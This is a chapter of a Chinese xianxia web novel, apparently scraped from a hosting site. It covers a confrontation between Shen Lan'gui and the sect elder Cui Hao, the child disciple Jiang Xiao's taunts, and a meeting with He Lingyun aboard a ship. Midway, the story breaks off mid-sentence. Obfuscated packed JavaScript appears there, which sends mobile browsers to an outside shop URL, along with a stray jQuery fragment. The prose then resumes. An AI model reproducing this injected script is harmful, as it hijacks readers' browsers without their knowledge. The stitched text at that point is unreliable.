文趣网 > 其他小说 > 反派她死不悔改 > 66. 万木春17
    那鞭子不是凡品,通体鲜红,宛若鲜血染就,上面雷光隐隐闪烁。

    沈澜归气定神闲,还在评价:“崔浩眼神越来越差,把暴戾恣睢当嫉恶如仇。怎么?他这几年不修钟馗道,改当渡恶佛了?”

    那人气得面容扭曲,手中鞭子扭得吱吱作响,“啪”地一声空中振响,挥鞭而来。沈瀞面沉如水,拇指顶开了剑鞘。沈澜归还站在那不动如山,只见鞭子直冲面门,快要沾到沈澜归衣摆时,一只大手突然出现,一把抓住鞭子一扯一甩,对面的白衣青年被反制甩出,“砰”地撞在江边桅杆上,桅杆断裂,旌旗倒下。

    船上走下一绛袍男子,身形魁梧,黑面长髯,手中降魔杵恐有八尺,砸在地上闷响,声音雄厚:“不成器的东西。”

    姜晓嘴角一扯,这是他们太衍对徒弟的惯用口头禅吗?谢微尊长见到月遥迢时,好像也是这句。

    那青年龇牙咧嘴地爬起来,眼中不甘,却忌惮来人,拱手退到他身边。

    大胡子看向沈澜归,目光平静:“沈道友,不过一个小辈,还请道友高抬贵手。”

    那青年在旁愤愤不平,口出狂言:“师父说什么呢?只怕是早没了道脉的废物!还怕他?”

    “冯时!”大胡子厉声:“闭嘴。”

    众人朝冯时看去,这时才注意,他那使鞭子的右手上不知何时贴了一张青符,雷气腾腾。

    沈澜归什么时候出的手?

    众人疑惑。

    冯时气急败坏,想要揭开青符,左手才碰到符纸,就见雷光闪烁劈在掌中,惊声痛呼。

    揭不得。

    沈澜归神色温和,眸中冷淡:“这位小友辱我师门,出手在先,我不过贴了张符,崔峰主就要让我高抬贵手了?”

    崔浩面色凛然,道:“他刚才那一鞭若是碰到你,只怕就没了右手,沈道友岂不是断了他修行路?”

    沈澜归倒是颇为诧异地看了崔浩一眼,随即随意一笑:“太虚谷的逍遥道便是随心而动,遇到不公,乖戾些也正常,比不得诛邪峰规矩。”

    来往都是修仙界的人,当年之事虽不尽知,但都略闻一二,各个探出脑袋张望。

    这回是崔浩怔愣,出神问:“你逍遥道不是...”

    沈澜归不言,只带着徒弟们登船,道:“借过。”

    崔浩不动,道:“你揭符。”

    沈澜归抬起眼皮,反问:“怎么,太衍如今落魄到连符修都没有了,让你在这巴巴求我?”

    崔浩怒目无言,咬着牙让开路,看着几人走远,在身后讥讽道:“太虚如今行事放荡,与师父在外拉拉扯扯,吵吵闹闹,不成体统。幸好除宗,不然太衍的脸都丢光了。”

    姜晓忍了半天了,还是没忍住,绸带一扯,回头看向崔浩。

    小小一只,没啥气势,好在眼睛消肿了许多,至少看起来不滑稽,张嘴就是:“崔峰主,童年挺不幸吧?”

    清脆的童音把一船人问愣了:谁会莫名问大能尊长的童年。

    “哦,我忘了”姜晓恍然大悟道:“崔峰主活那么多年,可能爹妈都在地里化成灰了,怎么还会记得童年呢?”

    崔浩暴跳如雷,降魔杵在地上一砸,道:“竖子!”

    沈澜归没想到自己不声不响的小徒弟突然惹事,诧异地看她一眼,但也没出声,默默往她身边站了站。

    姜晓更觉得有靠山了,阴阳怪气:“那您老年应该也挺不幸的。”

    “我和我师兄彩衣娱亲逗师父开心呢,您这种上无慈父下无孝子的,应该是没见识过,才大惊小怪。”

    言外之意,我师门其乐融融,师慈徒孝,要你个老斑鸠在这逼逼赖赖?

    说完,拉拉沈澜归的衣角:“师父,这也怪可怜的,您别和他见识了。”

    没有一个脏字,把崔浩骂得脸色通红,怒气冲冲提着降魔杵就要朝姜晓走来,还没两步,沈澜归就祭出了通用大招:

    “崔峰主,她还只是个孩子,你这是要做什么?”

    “难不成如今诛邪峰不除妖魔鬼怪,盯着九岁小孩不放过吗?”

    众人一听,交头接耳,因着太衍宗诛邪峰的名号不敢明说,眼神里打着哑谜,在他和冯时之间传来传去。

    本来就是冯时有错在先,现在崔浩咽下哑巴亏,恶狠狠地瞪了冯时一眼。任由沈澜归得意地抱着姜晓走了。

    三人入船上了楼进了自己厢房,沈瀞才露出点笑意:“牙尖嘴利。”

    被姜晓白了一眼。沈澜归深深看了姜晓一眼,姜晓才以为自己要被唠叨,就听沈澜归欣慰:“终于像点样子了。”

    姜晓充满了迷惑,沉默了片刻后非常认真地问:“师父,咱家是以培养刺头为目标吗?”

    沈澜归就知道自己开心不了两刻,不省心地戳姜晓脑门:“什么叫刺头?难不成你之前那小鹌鹑样就好的很?”

    姜晓老实捂着自己并不怎么疼的额头,默默吐槽:她才没小鹌鹑,她机灵着的。

    比如,她敢出头,是还算上了雷暴符还贴在冯时手上,就算惹了那姓崔的,也不敢拿自己怎么样。

    呵,沈瀞和她说的故事,她可一笔一笔记着呢。

    “嘟嘟囔囔说什么呢?”沈澜归竖着眉毛,姜晓睁着圆眼,老实巴交地满口跑火车:“说今天这彩衣娱亲看起来效果不算好。”

    沈澜归头疼,闹心把她往内厢推:“去去去,你赶紧睡觉去。你不是早就闹觉了。”

    姜晓抱着沈澜归手,腆着脸卖乖:“师父,我好奇得很,让我在船上逛逛吧。”

    大半年已过,虽然现在她已经不需要靠着“只要熬不死就往死里熬”的杀意和行尸走肉绑定工作的白天割袍断义,才能以自虐证明自己还没被资本机器完全驯化的人性...

    可报复性熬夜的社畜基因难改啊。

    她发现哪怕进来了,一进申时她就精神的很,感觉世界充满意义,做什么都价值崇高...半夜不睡猫在廊下听个虫叫都觉得那叫“万物俱籁天地宽”。

    沈瀞对此的评价是:“夜猫子就夜猫子,你还整点什么悟道明心了?”

    现在也一样,沈瀞压着唇角,装作不知道有猫儿在悄悄扯自己衣袖,对师父道:“方才好似见到了贺道友。”

    沈澜归挑眉,问:“和我们在理县捉骨魔那个?”

    沈瀞颔首。

    姜晓眼巴巴地看着师兄。

    沈澜归摆手:“去去去,这个小的也带着去,看好她。”

    姜晓以为老沈要嘱咐不准她惹祸之类的话,正要打保证,就听沈澜归叮嘱:

    “别让别人欺负着她!”

    姜晓知道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684441|202870||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自己怪没出息的,腾得眼眶就红了一下,要面地抱了一下自家慈师,头也不回地扯着师兄和豚豚往外走,欲盖弥彰地喊:“师父,我们走啦,逛完就回来!”

    沈瀞在后面要笑不笑,出了门才说:“哥哥算是知道了,你是个吃软不吃硬的。”

    姜晓撇了他一眼:“只要做得香,软硬我都吃。”

    沈瀞见好就收,再说就要恼了。

    雨还没下起来,天空乌云滚滚,里面电闪雷鸣。姜晓担心待会雨大了看不了,步子急匆匆的,被沈瀞一把抱起来,安抚道:“不急。”

    瞧他这气定神闲的模样,姜晓指指天:“这可是大暴雨。”

    沈瀞好笑:“放心吧,渡仙舟局还能让客人淋雨不成?”

    看他心中有数的模样,姜晓放下心来。

    方才进来没仔细看,船舱内灯火通亮,天花板中央是一个精美繁丽的藻井,绯色鲛纱在灯光下波光粼粼,从藻井周围轻盈垂下。来往船客,三教九流皆有,她眼睁睁看着有人头上顶着一只青色大孔雀就进来了,尾巴差点甩了后面人一脸。

    不过隔着鲛纱,不论谁站在何处,都看不清室内全局。明明是人声鼎沸的场子,却让人有了隐蔽的安全感。

    沈瀞刚才说的贺道友不是胡诌,他走进一层大厅,尾桌旁有位阔面青年正抱着伞,听台上琴师演奏的《神人畅》,只是看起来神不在焉,心事重重。

    沈瀞抱拳:“贺道友,别来无恙。”

    那人回神,见到来人格外欣喜:“沈道友。”

    两人当初萍水相逢,沈瀞与师父途径理县,正好救了中了骨魔陷阱的贺凌云。此人纯善耿直,三人同行了一程。后在梧山正好遇到一吐火兽开智化妖,下山行恶。贺凌云是位伞修,正好克制这吐火兽,三人合力将此兽抓住后,由他送去了妖祸镇压之地。

    这般结下情谊。

    沈瀞坐下,向贺凌云介绍:“这是我师妹,姜晓。”

    贺凌云也正经拱手:“姜小友。”

    这是姜晓头一次这样庄重和人行礼,心中一愣,连忙照着师兄的样子也有模有样地拱手:“贺道友好。”

    贺凌云忍俊不禁,拱手道:“好好。”

    沈瀞也笑,道:“贺兄返程,是寻到尊师了吗?”

    贺凌云神色黯然,摇摇头道:“家师遇害了。”

    沈瀞微讶,问:“发生什么?”

    贺凌云面有愧色,道:“当初相遇,未同沈道友道明身份,只因事关师门内情不好外传。如今尘埃落定,倒无妨了。”

    “家师乃承霄派掌门...”

    姜晓听到此处,手一抖,被沈瀞稳稳握住。

    贺凌云未察觉,继续道:“多年前,家师明心境突破之期将至,欲入人界寻一道机缘。”

    “他将掌门令一分为二留给我们,嘱咐我们有事可以此传报,便入界了。结果,有一日我们突然发现身上师徒契消散,急忙连接掌门令的另一头却了无音讯,还隐隐有妖气透出。门中师弟妹惊慌,我又是最大的,再三商议后,我便出界寻赵师父。”

    “也是因此才同你们在理县相遇。”

    “我在理县同你和明微尊长讨要骨魔骸骨,便是因其有寻找遗骸之能。离开理县我又往北走了三百里,在北妖之地找到了师父尸首。”